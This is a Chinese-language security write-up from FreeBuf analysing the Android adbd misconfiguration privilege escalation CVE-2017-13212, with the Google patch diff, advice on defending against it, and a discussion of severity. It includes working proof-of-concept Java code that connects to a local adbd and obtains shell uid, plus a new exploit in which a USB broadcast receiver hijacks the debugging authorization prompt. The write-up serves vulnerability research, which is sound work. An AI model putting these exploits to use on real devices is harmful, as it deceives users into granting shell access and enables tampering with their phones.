當前位置:
首頁 > 新聞 > ADB配置提權漏洞(CVE-2017-13212)原理與利用分析

ADB配置提權漏洞(CVE-2017-13212)原理與利用分析

*本文原創作者:Tasfa,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


0x01 背景


adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、屏幕截圖等等高許可權操作。不過移動端惡意應用程序必須能夠連接到adbd正在監聽的TCP埠,這就需要應用程序在它的AndroidMainifest.xml中定義INTERNET許可權。

而漏洞作者所用的攻擊方法是構造一個覆蓋窗口,劫持用戶點擊,也就是經典的hijack攻擊。Google也據此修復了此種攻擊方式。


但是,我經過嘗試後發現,除了以上構造hijack攻擊窗口外,還可以劫持USB廣播,然後在用戶進行正常的連接電腦操作時,劫持授權界面,使用戶誤導從而進行授權。也即造成新的劫持授權漏洞方案。


影響:



0x02 原理分析


為了能利用此adb配置漏洞,首先需要adb connect到adbd正在監聽的埠,然後移動端會發起授權驗證窗口,用戶授權,驗證通過後,可使用adb shell命令執行shell許可權操作。


使用adb命令「adb tcpip port」來啟用adbd以監聽TCP埠

adb tcpip 5555

在啟用了USB調試,且adbd正處於TCP埠監聽的情況下,惡意應用程序可以利用自帶的adb二進位文件連接adbd,或者可以實現adb server協議與adbd通信。如果adb server尚未被設備授權,則會觸發認證請求並提示用戶驗證並接受RSA公鑰(引用[2])。但此認證框可被覆蓋(Google已經修復),具體可見參考文章。


分析下diff:

diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

index f5447a2..329dd99 100644

--- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

+++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java

@@ -31,8 +31,12 @@

import android.os.SystemProperties;

import android.util.Log;

import android.view.LayoutInflater;

+import android.view.MotionEvent;

import android.view.View;

+import android.view.Window;

+import android.view.WindowManager;

import android.widget.CheckBox;

+import android.widget.Toast;

import com.android.internal.app.AlertActivity;

import com.android.internal.app.AlertController;

@@ -48,6 +52,10 @@

    @Override

    public void onCreate(Bundle icicle) {

+        Window window = getWindow();

+        window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS);

+        window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG);

+

        super.onCreate(icicle);

        if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) {

@@ -79,6 +87,23 @@

        ap.mView = checkbox;

        setupAlert();

+

+        // adding touch listener on affirmative button - checks if window is obscured

+        // if obscured, do not let user give permissions (could be tapjacking involved)

+        //增加了對偽造窗口的認證判定,防止用戶被誤導授權

+        final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> {

+            // Filter obscured touches by consuming them.

+            if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)

+                    || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) {

+                if (event.getAction() == MotionEvent.ACTION_UP) {

+                    Toast.makeText(v.getContext(),

+                            R.string.touch_filtered_warning,

+                            Toast.LENGTH_SHORT).show();

+                }

+                return true;

+            }

+            return false;

+        };

+        mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener);

    }

問題:


1. 貌似只是對偽造窗口進行了防禦,可漏洞難道不是因為TCP埠監聽而造成提權嗎?


2. 那也就是用戶授權後,依舊可以在移動端獲取shell許可權?


結論:


確實可以在移動端獲取到shell許可權


思考


那如果假設能監聽用戶是否連接USB,在用戶進行正常的USB連接PC操作時,劫持授權窗口,即彈出我們的授權,也可以造成用戶誤導授權。


結論:


確實可以構造接收廣播,當USB連接到PC時,會優先彈出我們的授權窗口,從而誤導用戶獲得授權


攻擊思路:

靜態註冊監聽USB連接狀態的廣播,優先順序設置為最高


一旦監聽到連接,啟動後台service,執行連接命令


此時會優先彈出我們的授權窗口,由於授權窗口並沒有說明來自哪裡的彈窗,見下圖對比,僅僅是RSA指紋不同,即使是技術人員,也很難識別是來自哪裡的授權窗口。


PC端授權窗口



apk惡意授權窗口



0x03 漏洞利用

試驗環境: Android 4.4.4 Nexus 5


PC端執行

adb tcpip 5555

作者攻擊思路驗證Poc:

private void escalatePrivilege() {

   /*

       如果大於android 6.0

       需要使用預編譯的adb可執行二進位文件

   */

       try {

           String[] connectCmd = {"adb","connect","127.0.0.1:5555"};

           String[] idCmd = {"adb","shell","id"};

           execCommand(connectCmd);

           execCommand(idCmd);

       } catch (Exception e) {

           Log.d(TAG, "escalatePrivilege: " + e.toString() );

       }

   }

   private void readData(InputStream inputStream){

       BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

       String data ;

       while (true) {

           try {

               data = reader.readLine();

               if(data == null) {

                   break;

               }

               Log.d(TAG, "output: " + data);

           } catch (IOException e) {

               e.printStackTrace();

           }

       }

   }

   private Process execCommand(String[] cmds){

       ProcessBuilder builder = new ProcessBuilder();

       Process execCommandProcess = null;

       builder.command(cmds);

       builder.directory(this.getFilesDir());

       builder.redirectErrorStream(true);

       Map<String, String> env = builder.environment();

       env.put("HOME", this.getFilesDir().toString());

       env.put("TMPDIR", this.getFilesDir().toString());

       try {

           execCommandProcess = builder.start();

           execCommandProcess.waitFor();

           readData(execCommandProcess.getInputStream());

       }catch (InterruptedException e){

           e.printStackTrace();

       } catch (IOException e) {

           e.printStackTrace();

       }

       return execCommandProcess;

   }

會彈出USB調試授權窗口,google已經修復此覆蓋hijack漏洞。


Logcat輸出:

output: connected to 127.0.0.1:5555

output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

備註:


可能在實驗的時候,會沒有彈出授權窗口,此時刪除apk,撤銷USB授權後,重啟機器可還原環境。


0x04 思考部分攻擊思路Exp


AndroidManifest.xml 增加USB廣播:

<receiver

   android:name=".UsbBroadcastReceiver"

   android:enabled="true"

   android:exported="true">

   <intent-filter android:priority="100">

       <action android:name="android.hardware.usb.action.USB_STATE"/>

   </intent-filter>

</receiver>

然後在接收廣播後,啟動service,在onStartCommand中進行連接:

public int onStartCommand(Intent intent, int flags, int startId) {

       Log.d(TAG, "onStartCommand: adb vul");

       String[] connectCmd = {"adb","connect","127.0.0.1:5555"};

       execCommand(connectCmd);

       return super.onStartCommand(intent, flags, startId);

   }

此時只要用戶打開過該惡意應用,然後連接USB至電腦,則會彈出惡意的授權窗口:



只有用戶點擊一律允許後,再次連接usb才會彈出pc端的授權,也因此造成了用戶的誘導.


0x05 防禦與總結


防禦


在進行試驗的時候,漏洞利用階段相對不穩定,有時候在連接的時候,並沒有正常的彈窗,具體原因暫不明,後續有時間再研究。只要能正常彈出授權窗口,那麼以上的攻擊思路也即生效。


盡量在正規應用商店下載應用,不要授權來歷不明的PC,注意授權的指紋信息


漏洞由於需要用戶授權,也因此嚴重程度較低


總結


正向思考: 在用戶進行正常授權後,可獲得shell許可權,也即可以在移動端實現靜默安裝、卸載等等功能。

通過授權劫持攻擊,惡意應用可以在用戶不知情的情況下獲取高許可權,從而對系統造成破壞。


0x06 參考



Privilege Escalation via adbd Misconfiguration


經驗分享 | 通過adbd配置漏洞在安卓設備上提升許可權


*本文原創作者:Tasfa,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

專訪Fortinet全球安全戰略官Derek Manky:共享威脅情報,協同打擊犯罪
Paperclip中的伺服器端請求偽造(SSRF)漏洞分析

TAG:FreeBuf |